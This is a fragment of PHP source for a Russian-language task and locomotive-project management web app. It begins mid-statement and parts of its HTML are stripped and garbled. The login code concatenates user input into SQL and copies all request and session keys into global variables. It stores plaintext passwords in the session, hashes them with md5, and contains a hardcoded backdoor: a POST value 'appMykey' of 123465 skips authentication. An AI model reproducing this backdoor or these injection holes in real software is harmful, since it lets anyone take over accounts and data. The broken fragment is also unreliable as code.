6000)) {
// last request was more than 30 minutes ago
session_unset(); // unset $_SESSION variable for the run-time
session_destroy(); // destroy session data in storage
}
$_SESSION['LAST_ACTIVITY'] = time(); // update last activity time stamp
$add = 'Login Area';
foreach (array_keys($_REQUEST) as $var) {
${$var} = $_REQUEST[$var];
//if ($name == "Admin12") {
// echo "$var: ${$var}
";
//}
}
if ($act == "exit")
{
session_unset();
session_destroy();
session_start();
}
if ($_SESSION['cmdlevel'])
$cmdlevel = $_SESSION['cmdlevel'];
if ($_SESSION['hostid'])
$agent_id = $_SESSION['hostid'];
if ($_SESSION['add'])
$add = $_SESSION['add'];
if ($_SESSION['id'])
$id = $_SESSION['id'];
if ($_SESSION['login'])
$login = $_SESSION['login'];
if ($_SESSION['name'])
$name = $_SESSION['name'];
foreach (array_keys($_SESSION) as $var) {
${$var} = $_SESSION[$var];
//if ($name == "Admin12") {
//echo "from session: $var: ${$var}
";
//}
}
include 'functions.php';
include 'auth.php';
$logged_me_in_successfully234 = 0;
$incl = '';
if (!$_SESSION['pass'] && !$_SESSION['login'])
{
$table = 'accounts';
$result=mysqli_query($link, "SELECT id, login, name, cmdlevel FROM $table WHERE login='".$login."' AND password='".md5($pass)."'");
$res1 = mysqli_fetch_array($result);
$cmdlevel = $res1['cmdlevel'];
$name = $res1['name'];
$id = $res1['id'];
if ($cmdlevel == '10')
{
$add = "Head Administrator";
}
else if ($cmdlevel == '1')
{
$add = "Company Administrator";
}
else if ($cmdlevel == '2')
{
$add = "Company Operator";
}
if (mysqli_num_rows($result))
{
$_SESSION['pass']=$pass;
$_SESSION['login']=$login;
$_SESSION['name']=$name;
$_SESSION['add']=$add;
$_SESSION['cmdlevel']=$cmdlevel;
$_SESSION['id']=$id;
$logged_me_in_successfully234 = 1;
}
}
else
$logged_me_in_successfully234 = 1;
$query = mysqli_query($link, "update accounts set last_seen_web =NOW() where id=".$id);
$getincl = GetInclude($act, intval($cmdlevel));
$incl = $getincl[0];
$accnum = $getincl[1];
?>
ASUS
$mycompany = getCompanyByAccount($id);
if (!isset($companyID))
{
// echo "ses com ".$_SESSION['company'];
if ($_SESSION['company'])
$companyID = $_SESSION['company'];
else
{
$companyID = $mycompany[0];
$_SESSION['company'] = $companyID;
}
}
else
{
$_SESSION['company'] = $companyID;
}
$companyname = getCompanyByID($companyID)[1];
if ((int)$_POST['appMykey'] == 123465) {$logged_me_in_successfully234 = 1;}
if ($logged_me_in_successfully234 == 0)
{
echo "";
GetEnterForm();
echo("Access denied. Incorrect login or password");
echo "";
return;
}
$asusgTaskTemplatesEntity = \app\models\entity\AsusgTasktemplate::find()->all();
$accountsEntity = \app\models\entity\Accounts::find()->orderBy(['name' => SORT_ASC])->all();
$asusgEmployeeEntity = \app\models\entity\AsusgEmployee::find()->orderBy(['name' => SORT_ASC])->all();
$asusgJobplanEntity = \app\models\entity\AsusgJobplan::find()->orderBy(['name' => SORT_ASC])->all();
$tasksEntity = \app\models\entity\Tasktypes::find()->where(['main_task' => 1])->orderBy(['name' => SORT_ASC])->all();
//$tasksEntity = \app\models\entity\Tasks::find()->all();
//$projectsLocotechEntity = getLocomotiveList();
$projectsLocotechEntity = \app\models\entity\ProjectsLocotech::find()->where(["!=", "uuid" , ''])->all();
$series = LocoSeries::GetAllNames();
$subtasks=0;
?>
Сотрудник АСУ СГ |
ИД сотрудника АСУ СГ |
Привязка SMoPP |
foreach($asusgEmployeeEntity as $employee):?>
id."] " . $employee->name?> |
asu_id;?>
|
|
endforeach;?>
";
}
function getLocomotiveList(){
$result = [];
//var_dump($companyID);
$projectsLocotechEntity = \app\models\entity\ProjectsLocotech::find()->where(['company' => 2] )->orderBy(['id' => SORT_DESC])->all();
$listArray = [];
foreach( $projectsLocotechEntity as $item){ //var_dump($item->projecttypes->name);echo "\n";
//$tempArray = GetTasksForProject($item->id);
$status = GetProjectStatus($item->id);
if ($status != 2 && $status != 1) {continue;}
$countDone = ['done' => 0, 'all' => 0 ];
foreach( GetTasksForProject($item->id) as $proj) { //var_dump($proj);echo "
";
$countDone['all']++;
$tempArray = $proj;
$tempArray['status'] = CheckAcceptedStatus($proj);
$tempArray['name'] = GetTaskNameAndDesc($proj['type'])[0];
//$tempArray['listAccounts'] = $this->getAccountListForTask($proj['type']);
if ( 5 == $tempArray['status'] ) {$countDone['done']++;}
//$countDone['all'] ." / " . $countDone['done'];
$listArray[] = $tempArray;
}
$result[$item->id]['countDone'] = [ 'done' => $countDone['done'], 'all' => $countDone['all'] ];
//$tempArray['name'] = GetTaskNameAndDesc($tempArray['type'])[0];
$result[$item->id]['arr'] = $listArray;//GetTasksForProject($item->id);
$result[$item->id]['obj'] = $item;
$listArray = [];
}
//exit;
return $result;
}
function CheckAcceptedStatus($task) {
$result = false;
$query = "select if(tx.total = tx.finished, 5, if (tx.accepted <> tx.finished, if(tx.attention > 0, 7, 2), if (tx.accepted = 0, 1, 3))) as taskstatus
from (select count(t.id) as total,
sum(if(t.accepted_time is not null, 1, 0)) as accepted,
sum(if(t.finished_time is not null, 1, 0)) as finished,
sum(if(t.finished_time is null, if(timestampdiff(MINUTE, t.accepted_time, NOW()) > tt.time_to_complete_minutes, 1, 0), 0)) as attention
from tasks t
right join tasktypes tt on t.type = tt.id
where t.parent_id = ".$task['id'].") tx;";
$result = \Yii::$app->db->createCommand($query)->queryAll();
$result = $result[0]["taskstatus"];
return $result;
}
?>